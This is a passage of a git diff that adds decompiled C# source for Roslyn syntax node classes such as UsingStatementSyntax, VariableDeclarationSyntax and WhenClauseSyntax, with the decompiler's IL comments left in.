((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingStatementSyntax)(object)((SyntaxNode)this).Green).awaitKeyword; + if (awaitKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)awaitKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken UsingKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingStatementSyntax)(object)((SyntaxNode)this).Green).usingKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public VariableDeclarationSyntax? Declaration => ((SyntaxNode)this).GetRed(ref declaration, 4); + + public ExpressionSyntax? Expression => ((SyntaxNode)this).GetRed(ref expression, 5); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 7); + + public UsingStatementSyntax Update(SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Update(AwaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + } + + public UsingStatementSyntax Update(SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + } + + internal UsingStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref declaration, 4), + 5 => ((SyntaxNode)this).GetRed(ref expression, 5), + 7 => ((SyntaxNode)this).GetRed(ref statement, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => declaration, + 5 => expression, + 7 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUsingStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUsingStatement(this); + } + + public UsingStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || usingKeyword != UsingKeyword || openParenToken != OpenParenToken || declaration != Declaration || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + UsingStatementSyntax usingStatementSyntax = SyntaxFactory.UsingStatement(attributeLists, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return usingStatementSyntax; + } + return usingStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new UsingStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, AwaitKeyword, UsingKeyword, OpenParenToken, Declaration, Expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, UsingKeyword, OpenParenToken, Declaration, Expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithUsingKeyword(SyntaxToken usingKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, usingKeyword, OpenParenToken, Declaration, Expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, openParenToken, Declaration, Expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithDeclaration(VariableDeclarationSyntax? declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, OpenParenToken, declaration, Expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithExpression(ExpressionSyntax? expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, OpenParenToken, Declaration, expression, CloseParenToken, Statement); + } + + public UsingStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, OpenParenToken, Declaration, Expression, closeParenToken, Statement); + } + + public UsingStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, OpenParenToken, Declaration, Expression, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new UsingStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VarPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VarPatternSyntax.cs new file mode 100644 index 0000000..7fa29b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VarPatternSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class VarPatternSyntax : PatternSyntax +{ + private VariableDesignationSyntax? designation; + + public SyntaxToken VarKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VarPatternSyntax)(object)((SyntaxNode)this).Green).varKeyword, ((SyntaxNode)this).Position, 0); + + public VariableDesignationSyntax Designation => ((SyntaxNode)this).GetRed(ref designation, 1); + + internal VarPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref designation, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)designation; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVarPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVarPattern(this); + } + + public VarPatternSyntax Update(SyntaxToken varKeyword, VariableDesignationSyntax designation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (varKeyword != VarKeyword || designation != Designation) + { + VarPatternSyntax varPatternSyntax = SyntaxFactory.VarPattern(varKeyword, designation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return varPatternSyntax; + } + return varPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public VarPatternSyntax WithVarKeyword(SyntaxToken varKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(varKeyword, Designation); + } + + public VarPatternSyntax WithDesignation(VariableDesignationSyntax designation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(VarKeyword, designation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclarationSyntax.cs new file mode 100644 index 0000000..be94f2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclarationSyntax.cs @@ -0,0 +1,102 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class VariableDeclarationSyntax : CSharpSyntaxNode +{ + private TypeSyntax? type; + + private SyntaxNode? variables; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public SeparatedSyntaxList Variables + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref variables, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + internal VariableDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref type), + 1 => ((SyntaxNode)this).GetRed(ref variables, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => type, + 1 => variables, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVariableDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVariableDeclaration(this); + } + + public VariableDeclarationSyntax Update(TypeSyntax type, SeparatedSyntaxList variables) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (type != Type || variables != Variables) + { + VariableDeclarationSyntax variableDeclarationSyntax = SyntaxFactory.VariableDeclaration(type, variables); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return variableDeclarationSyntax; + } + return variableDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + public VariableDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(type, Variables); + } + + public VariableDeclarationSyntax WithVariables(SeparatedSyntaxList variables) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Type, variables); + } + + public VariableDeclarationSyntax AddVariables(params VariableDeclaratorSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithVariables(Variables.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclaratorSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclaratorSyntax.cs new file mode 100644 index 0000000..c95f9ca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDeclaratorSyntax.cs @@ -0,0 +1,99 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class VariableDeclaratorSyntax : CSharpSyntaxNode +{ + private BracketedArgumentListSyntax? argumentList; + + private EqualsValueClauseSyntax? initializer; + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclaratorSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).Position, 0); + + public BracketedArgumentListSyntax? ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + public EqualsValueClauseSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 2); + + internal VariableDeclaratorSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + 2 => ((SyntaxNode)this).GetRed(ref initializer, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => argumentList, + 2 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVariableDeclarator(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVariableDeclarator(this); + } + + public VariableDeclaratorSyntax Update(SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (identifier != Identifier || argumentList != ArgumentList || initializer != Initializer) + { + VariableDeclaratorSyntax variableDeclaratorSyntax = SyntaxFactory.VariableDeclarator(identifier, argumentList, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return variableDeclaratorSyntax; + } + return variableDeclaratorSyntax.WithAnnotations(annotations); + } + return this; + } + + public VariableDeclaratorSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(identifier, ArgumentList, Initializer); + } + + public VariableDeclaratorSyntax WithArgumentList(BracketedArgumentListSyntax? argumentList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(Identifier, argumentList, Initializer); + } + + public VariableDeclaratorSyntax WithInitializer(EqualsValueClauseSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(Identifier, ArgumentList, initializer); + } + + public VariableDeclaratorSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BracketedArgumentListSyntax bracketedArgumentListSyntax = ArgumentList ?? SyntaxFactory.BracketedArgumentList(); + return WithArgumentList(bracketedArgumentListSyntax.WithArguments(bracketedArgumentListSyntax.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDesignationSyntax.cs new file mode 100644 index 0000000..619631e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/VariableDesignationSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class VariableDesignationSyntax : CSharpSyntaxNode +{ + internal VariableDesignationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WarningDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WarningDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..ff7c134 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WarningDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class WarningDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken WarningKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).warningKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal WarningDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWarningDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWarningDirectiveTrivia(this); + } + + public WarningDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || warningKeyword != WarningKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + WarningDirectiveTriviaSyntax warningDirectiveTriviaSyntax = SyntaxFactory.WarningDirectiveTrivia(hashToken, warningKeyword, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return warningDirectiveTriviaSyntax; + } + return warningDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new WarningDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, WarningKeyword, EndOfDirectiveToken, IsActive); + } + + public WarningDirectiveTriviaSyntax WithWarningKeyword(SyntaxToken warningKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, warningKeyword, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new WarningDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, WarningKeyword, endOfDirectiveToken, IsActive); + } + + public WarningDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, WarningKeyword, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhenClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhenClauseSyntax.cs new file mode 100644 index 0000000..022e5ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhenClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class WhenClauseSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? condition; + + public SyntaxToken WhenKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhenClauseSyntax)(object)((SyntaxNode)this).Green).whenKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 1); + + internal WhenClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref condition, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)condition; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhenClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhenClause(this); + } + + public WhenClauseSyntax Update(SyntaxToken whenKeyword, ExpressionSyntax condition) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (whenKeyword != WhenKeyword || condition != Condition) + { + WhenClauseSyntax whenClauseSyntax = SyntaxFactory.WhenClause(whenKeyword, condition); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return whenClauseSyntax; + } + return whenClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public WhenClauseSyntax WithWhenKeyword(SyntaxToken whenKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(whenKeyword, Condition); + } + + public WhenClauseSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(WhenKeyword, condition); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhereClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhereClauseSyntax.cs new file mode 100644 index 0000000..45ca248 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhereClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class WhereClauseSyntax : QueryClauseSyntax +{ + private ExpressionSyntax? condition; + + public SyntaxToken WhereKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhereClauseSyntax)(object)((SyntaxNode)this).Green).whereKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 1); + + internal WhereClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + 